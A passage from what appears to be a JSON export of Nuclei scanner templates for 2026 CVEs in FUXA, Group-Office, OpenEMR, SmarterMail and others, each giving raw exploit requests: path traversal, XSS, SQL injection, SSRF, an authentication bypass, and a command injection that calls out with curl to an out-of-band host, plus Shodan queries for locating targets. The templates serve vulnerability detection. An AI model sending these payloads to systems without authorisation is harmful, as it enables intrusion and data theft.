leading to full remote code execution on the host running FUXA.\n  remediation: |\n    Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.\n  reference:\n    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c\n    - https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96\n    - https://github.com/frangoteam/FUXA/releases/tag/v1.2.10\n    - https://github.com/Hann1bl3L3ct3r/FUXAPWN\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25895\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-25895\n    epss-score: 0.13034\n    epss-percentile: 0.96353\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: frangoteam\n    product: fuxa\n    shodan-query: http.title:\"FUXA\"\n    fofa-query: title=\"FUXA\"\n  tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev\n\nvariables:\n  filename: \"{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"resource\":{\"name\":\"{{filename}}.txt\",\"fullPath\":\"{{filename}}.txt\",\"type\":\"bin\",\"data\":\"{{base64(filename)}}\"},\"destination\":\"a/../../server/main.js\"}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"ENOTDIR\")'\n          - 'contains(body, concat(\"main.js\", \"/\", \"{{filename}}.txt\"))'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"invalid_destination\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"open '(.*?)'\"\n# digest: 4b0a004830460221009f586e94a39b1af1d128e28f88a0fa17b84d7da4377255b8f446f1e819af81c6022100e3b528eaa03895fced67467543b498f1ccb215970c54a4165c6e507a5d53e8b5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-25895.yaml","vuln_id":"cve-2026-25895"},{"raw":"id: CVE-2026-25892\n\ninfo:\n  name: Adminer 4.6.2 - 5.4.1 Unauthenticated Persistent DoS\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Adminer <= 5.4.1 contains a denial of service caused by lack of origin validation in version check endpoint, letting attackers trigger server errors via crafted POST requests, exploit requires no special privileges.\n  impact: |\n    Attackers can cause server errors resulting in denial of service for all users.\n  remediation: Upgrade to Adminer 5.4.2 or later.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n    cvss-score: 7.5\n    cwe-id: CWE-20\n    epss-score: 0.01718\n    epss-percentile: 0.77516\n  reference:\n    - https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\n    - https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: adminer\n    product: adminer\n    fofa-query: 'title=\"Adminer\" || body=\"Adminer\"'\n    shodan-query: 'http.title:\"Adminer\"'\n  tags: cve,cve2026,adminer,passive\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/adminer.php'\n      - '{{BaseURL}}/editor.php'\n      - '{{BaseURL}}/adminer/'\n\n    headers:\n      Accept-Language: en-US,en;q=0.5\n    stop-at-first-match: true\n\n    redirects: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '<span class=\"version\">([0-9.]+)'\n          - 'amp;version=([0-9.]+)'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"Adminer</title>\"\n          - \"Adminer</a>\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \">=4.6.2\", \"<=5.4.1\")'\n# digest: 490a00463044022100c0f54c0ae8b31bedbb4ebf2c9406a9106d5ef22c64cf30ba9e45190dda451c74021f04048e70d72232a113b04cf4b06c8725e71456c7e61e5b5897f83258d996c3:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-25892.yaml","vuln_id":"cve-2026-25892"},{"raw":"id: CVE-2026-25703\n\ninfo:\n  name: NeuVector - Information Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    NeuVector through 5.4.9 contains an information disclosure vulnerability caused by missing authentication and cached sensitive data in the manager /network/graph API, letting remote attackers access sensitive information, exploit requires no special privileges.\n  impact: |\n    Remote attackers can access sensitive information from the manager API, potentially exposing confidential data.\n  remediation: |\n    Update to the latest version beyond 5.4.9.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25703\n    - https://github.com/neuvector/manager/security/advisories/GHSA-hx45-873x-74qv\n    - https://github.com/neuvector/manager/commit/949cc1184fdf671416f788d9d2a039f8558a717d\n    - https://github.com/neuvector/manager/releases/tag/v5.5.0\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-25703\n    epss-score: 0.00804\n    epss-percentile: 0.56846\n    cwe-id: CWE-202\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: suse\n    product: neuvector-manager\n  tags: cve,cve2026,neuvector,suse,manager,auth-bypass,disclosure\n\nvariables:\n  marker: '{{randstr}}'\n\nhttp:\n  - raw:\n      - |\n        GET /network/graph/layout?user={{marker}} HTTP/1.1\n        Host: {{Hostname}}\n        Token: invalid\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: word\n        part: body\n        words:\n          - '\"user\":\"{{marker}}\"'\n# digest: 490a0046304402205b4b2744ae41bc255ac909c7f1945cdce689a8ad7edc3b9e2d23b23630a0b97602200fc841696c5485c0aa85dbcb8b078365886a397d4fb7414b980ddb0ff20189aa:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-25703.yaml","vuln_id":"cve-2026-25703"},{"raw":"id: CVE-2026-25616\n\ninfo:\n  name: Blesta <= 5.13.1 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.\n  impact: |\n   Attackers can exploit input validation flaws to cause unexpected behavior or security issues.\n  remediation: |\n   Upgrade to version 5.13.3 or later.\n  reference:\n    - https://karmainsecurity.com/KIS-2026-01\n    - https://www.blesta.com/2026/01/28/security-advisory/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25616\n  classification:\n    cve-id: CVE-2026-25616\n    epss-score: 0.0042\n    epss-percentile: 0.36443\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cwe-id: CWE-79\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.title:\"Blesta\"\n    fofa-query: app=\"Blesta\"\n  tags: cve,cve2026,blesta,xss\n\nhttp:\n  - raw:\n      - |\n        GET /client_dialog/confirm/?confirm_url=javascript:alert(document.domain) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'action=\"javascript:alert(document.domain)\"'\n          - '<form method=\"post\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - text/html\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044021f70b901ca5ecd37570c41d3c75acfdf2ea484dd15e81b59b90cd5f5d82c1e60022100c6430990c98456766560e7d3b620cda323923df7c71e4f6e186f07d474a5a387:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-25616.yaml","vuln_id":"cve-2026-25616"},{"raw":"id: CVE-2026-25555\n\ninfo:\n  name: OpenBullet2 <= 0.3.2 - Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.\n  impact: |\n   Unauthenticated attackers can gain full admin access, compromising the entire system and API endpoints.\n  remediation: |\n    Update to a version later than 0.3.2 or the latest available version.\n  reference:\n    - https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25555\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-25555\n    epss-score: 0.02261\n    epss-percentile: 0.83037\n    cwe-id: CWE-287\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: openbullet\n    product: openbullet2\n    fofa-query: title=\"Openbullet2WebClient\"\n  tags: cve,cve2026,openbullet2,auth-bypass,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/info/server HTTP/1.1\n        Host: {{Hostname}}\n        X-Api-Key:\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"operatingSystem\\\"\", \"\\\"buildNumber\\\"\", \"\\\"currentWorkingDirectory\\\"\")'\n        condition: and\n# digest: 4b0a00483046022100ccdec25debaa6c7c6a11ef913930520ee8f7c6196e51d369d72fa32e1796a8fe022100ee72d4107690201dba74755c4c5196e44f0e7aa991872b80187b845b34843575:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-25555.yaml","vuln_id":"cve-2026-25555"},{"raw":"id: CVE-2026-25545\n\ninfo:\n  name: Astro SSR - Server-Side Request Forgery\n  author: ritikchaddha\n  severity: high\n  description: |\n    Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.\n  impact: |\n    Full-read SSRF allowing access to internal services, cloud metadata endpoints (AWS/GCP/Azure IMDS), environment files, and any host reachable from the server.\n  remediation: |\n    Upgrade to astro >= 5.17.3 or @astrojs/node >= 9.5.4. The fix reads prerendered error files directly from disk and validates the Host: header the same way X-Forwarded-Host was already validated.\n  reference:\n    - https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g\n    - https://github.com/withastro/astro/pull/15473\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25545\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-25545\n    epss-score: 0.01933\n    epss-percentile: 0.80099\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: astro\n    product: astro\n    shodan-query: http.component:\"Astro\"\n  tags: cve,cve2026,astro,ssrf\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/{{randstr}}\"\n    headers:\n      Host: \"oast.me\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<html><head></head><body></body></html>\")'\n          - 'contains(header, \"X-Interactsh-Version\")'\n          - 'status_code == 404'\n        condition: and\n# digest: 490a00463044022067702b63e3b11f9eb7aca877fcd8c38659bfa3ba4b7da41b89ef35ae3d9b9de6022008a9fea750c9e99076167906a690b18b32a31ac156f3fbc71d932ae442abd776:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-25545.yaml","vuln_id":"cve-2026-25545"},{"raw":"id: CVE-2026-25527\n\ninfo:\n  name: changedetection.io <= 0.52.9 - Unauthenticated Path Traversal\n  author: WRG-11\n  severity: medium\n  description: |\n    changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.\n  impact: |\n    Unauthenticated attackers can read local application source files, potentially exposing sensitive information.\n  remediation: |\n   Upgrade to version 0.53.2 or later.\n  reference:\n    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-9jj8-v89v-xjvw\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25527\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-25527\n    epss-score: 0.01025\n    epss-percentile: 0.63689\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dgtlmoon\n    product: changedetection.io\n    shodan-query: http.html:\"changedetection.io\"\n  tags: cve,cve2026,changedetection,lfi,traversal,unauth,exposure\n\nhttp:\n  - raw:\n      - |\n        GET /static/%2e%2e/flask_app.py HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"from changedetectionio\", \"def static_content(\")'\n          - 'contains(content_type, \"text/x-python\")'\n        condition: and\n# digest: 4a0a0047304502202eb06a0be78b1a2676ec107af7cb6fd9160ed8b97b65de95f55ae547c7cdf0fb022100e70361dd5581fa27f3f8574b115aa4d1c7c961bda80357cf3042d9454d6e8e31:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-25527.yaml","vuln_id":"cve-2026-25527"},{"raw":"id: CVE-2026-25512\n\ninfo:\n  name: Group-Office < 26.0.5 - Remote Code Execution\n  author: omarkurt\n  severity: critical\n  description: |\n    Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.\n  impact: |\n    Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.\n  remediation: |\n    Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().\n  reference:\n    - https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4\n    - https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25512\n    - https://vulnerabletarget.com/VT-2026-25512\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-25512\n    cwe-id: CWE-78\n    epss-score: 0.1986\n    epss-percentile: 0.97428\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: intermesh\n    product: group-office\n    shodan-query: title:\"Group-Office\"\n    fofa-query: title=\"Group-Office\"\n  tags: cve,cve2026,groupoffice,rce,authenticated,oast\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?r=core/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: security_token\n        part: body\n        group: 1\n        regex:\n          - '\"security_token\":\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"dns\")'\n        condition: and\n# digest: 490a0046304402206bb2ec3155605b7302895ee9130ac81a9613a5b326ad4e6c46fd3560b678985f02204e29c681c3b32d06b2172745797ac7286961460740b964e015ea70bc81daa443:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-25512.yaml","vuln_id":"cve-2026-25512"},{"raw":"id: CVE-2026-25231\n\ninfo:\n  name: FileRise <= 3.3.0 - Unauthenticated File Read\n  author: str4k3r\n  severity: high\n  description: |\n    FileRise <= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.\n  impact: |\n    Unauthenticated attackers can access sensitive uploaded files, leading to data exposure and privacy breaches.\n  remediation: |\n    Upgrade to version 3.3.0 or later.\n  reference:\n    - https://github.com/error311/FileRise/security/advisories/GHSA-hv99-77cw-hvpr\n    - https://github.com/error311/FileRise\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: error311\n    product: filerise\n    shodan-query: 'http.title:\"FileRise\"'\n    fofa-query: 'title=\"FileRise\"'\n    google-query: 'intitle:\"FileRise\"'\n  tags: cve,cve2026,filerise,exposure,file-read\n\nflow: http(1) && (http(2) || http(3))\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(to_lower(body), '<title>filerise')\"\n          - \"contains_any(body, 'api/auth/login_basic.php', 'js/main.js')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /uploads/README.md HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"len(body) > 0\"\n          - \"!contains(to_lower(content_type), 'text/html')\"\n          - \"!contains(to_lower(body), '<title')\"\n        condition: and\n\n  - raw:\n      - |\n        GET /uploads HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 301\"\n          - \"contains(header, '/uploads/')\"\n        condition: and\n# digest: 4a0a0047304502203235d67ccc8d63dea95f8cbb998c8bdd8928f240c489261879be0aeb95b5cd040221008180df9e479a5a14789b841833686ddaa0b77dde6740c56bb539bea23198c502:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-25231.yaml","vuln_id":"cve-2026-25231"},{"raw":"id: CVE-2026-24898\n\ninfo:\n  name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure\n  author: Securin\n  severity: critical\n  description: |\n    OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.\n  impact: |\n    Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.\n  remediation: |\n    Upgrade to version 8.0.0 or later.\n  reference:\n    - https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24898\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-24898\n    epss-score: 0.02422\n    epss-percentile: 0.84227\n    cwe-id: CWE-200,CWE-306\n    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: open-emr\n    product: openemr\n    shodan-query: http.title:\"OpenEMR\"\n    fofa-query: title=\"OpenEMR\"\n  tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /composer.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"openemr\")'\n          - 'compare_versions(version, \"< 8.0.0\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: version\n        internal: true\n        regex:\n          - '\"version\"\\s*:\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+)\"'\n\n  - raw:\n      - |\n        GET /library/MedEx/MedEx.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Not logged in:\")'\n          - '!contains(body, \"\\\"error\\\"\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /library/MedEx/MedEx.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        callback_key={{randstr}}\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        name: token-disclosed\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains(body, \"\\\"token\\\"\")'\n        condition: and\n\n      - type: dsl\n        name: auth-bypass\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"^\\\\s*false\\\\s*$\", body)'\n        condition: and\n# digest: 4b0a00483046022100c3a4e19b6fe52f018ba7922fb0dc4dda81742b4a457474341d46259a43501b2c022100d90deecc9418cab33cf330c320defa9b4eeda4286408ac341181f8c3cde2b5e4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-24898.yaml","vuln_id":"cve-2026-24898"},{"raw":"id: CVE-2026-24477\n\ninfo:\n  name: AnythingLLM - Information Disclosure\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. If AnythingLLM prior to version 1.10.0 is configured to use Qdrant as the vector database with an API key, this QdrantApiKey could be exposed in plain text to unauthenticated users via the `/api/setup-complete` endpoint. Leakage of QdrantApiKey allows an unauthenticated attacker full read/write access to the Qdrant vector database instance used by AnythingLLM. Since Qdrant often stores the core knowledge base for RAG in AnythingLLM, this can lead to complete compromise of the semantic search / retrieval functionality and indirect leakage of confidential uploaded documents. Version 1.10.0 patches the issue.\n  impact: |\n    Unauthenticated attackers can read and write to the Qdrant database, compromising semantic search and leaking confidential documents.\n  remediation: |\n    Update to version 1.10.0 or later.\n  reference:\n    - https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-gm94-qc2p-xcwf\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24477\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: \"anythingllm\"\n  tags: cve,cve2026,anything-llm,info-leak,api,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/setup-complete\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"QdrantApiKey\":'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100ff5f7e88a5be9d740918721a4737d9e4a5faf7a068d2edda6076d0677b1d74e402210094533cdab3de7441c903bd07498fc94637f5418b8fabb235413b24a37930f57d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-24477.yaml","vuln_id":"cve-2026-24477"},{"raw":"id: CVE-2026-24423\n\ninfo:\n  name: SmarterMail - Remote Code Execution\n  author: jyoti369\n  severity: critical\n  description: |\n    SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.\n  remediation: |\n    Update to build 9511 or later.\n  reference:\n    - https://www.vulncheck.com/blog/smartermail-connecttohub-rce-cve-2026-24423\n    - https://code-white.com/public-vulnerability-list/\n    - https://www.smartertools.com/smartermail/release-notes/current\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24423\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-24423\n    epss-score: 0.88177\n    epss-percentile: 0.99768\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2026,smartermail,rce,oast,kev,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"hubAddress\":\"http://{{interactsh-url}}\",\"oneTimePassword\":\"{{randstr}}\",\"nodeName\":\"{{randstr}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"setup-initial-connection\"\n# digest: 490a004630440220750688ab0493cc0b70de813465a561f3b68b354f195453aaf68253fc8a486abc022065700a9764f927ab34fa0379a2e6a85652a081216d6964e5d3c275bf932bfacb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-24423.yaml","vuln_id":"cve-2026-24423"},{"raw":"id: CVE-2026-24207\n\ninfo:\n  name: NVIDIA Triton Inference Server <= 26.02 - Authentication Bypass\n  author: VixianSchool\n  severity: critical\n  description: |\n    NVIDIA Triton Inference Server contains an authentication bypass vulnerability, letting attackers bypass authentication and potentially execute code, escalate privileges, tamper data, cause denial of service, or disclose information, exploit requires no special conditions.\n  impact: |\n    Attackers can bypass authentication to execute code, escalate privileges, tamper data, cause denial of service, or disclose sensitive information.\n  remediation: |\n    Update to the latest version of NVIDIA Triton Inference Server.\n  reference:\n    - https://github.com/offseckit/CVE-2026-24207\n    - https://offseckit.com/blog/cve-2026-24207\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-24207\n    epss-score: 0.02552\n    epss-percentile: 0.85091\n    cwe-id: CWE-288\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: nvidia\n    product: triton-inference-server\n    shodan-query: 'http.title:\"Triton\" port:8080'\n  tags: cve,cve2026,nvidia,triton,auth-bypass,rce,ml,ai\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/models\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, '\\\"models\\\":[')\"\n          - \"!contains(body, 'This API is restricted')\"\n          - \"!contains(body, 'restricted')\"\n        condition: and\n# digest: 4a0a0047304502210096a6ad248d8091a5fa1681a98c0bcc811b5c0f9fef46797b3a0ce0e2299df142022045b04c650c6faf6a1871d4be1d7f0e3d0d476b152f41c8b63fece44d69775a0e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-24207.yaml","vuln_id":"cve-2026-24207"},{"raw":"id: CVE-2026-2416\n\ninfo:\n  name: Geo Mashup <= 1.13.17 - SQL Injection\n  author: Shivam Kamboj\n  severity: high\n  description: |\n    Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information, leading to data disclosure and potential further compromise.\n  remediation:\n    Update to the latest version beyond 1.13.17.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/geo-mashup/geo-mashup-11317-unauthenticated-sql-injection-via-sort-parameter\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2416\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2416\n    epss-score: 0.01508\n    epss-percentile: 0.74479\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - compare_versions(version, '<= 1.13.17')\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: version\n        group: 1\n        regex:\n          - 'Stable tag: ([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /wp-admin/admin-ajax.php?action=geo_mashup_query&output=json&sort=(SELECT(0)FROM(SELECT(SLEEP(8)))a) HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 8'\n          - 'status_code == 200'\n          - 'contains(body, \"objects\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 4b0a00483046022100dcc2b4b80213e87e52e8425d7dbf98abdef3f33be1ff43b89dc7bf0152ae2123022100948d891bec7c04a4460b4ec6514775d5c667a5b21d7c8c585f74e5053b4c7298:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2416.yaml","vuln_id":"cve-2026-2416"},{"raw":"id: CVE-2026-2413\n\ninfo:\n  name: Ally – Web Accessibility & Usability <= 4.0.3 - SQL Injection\n  author: Shivam 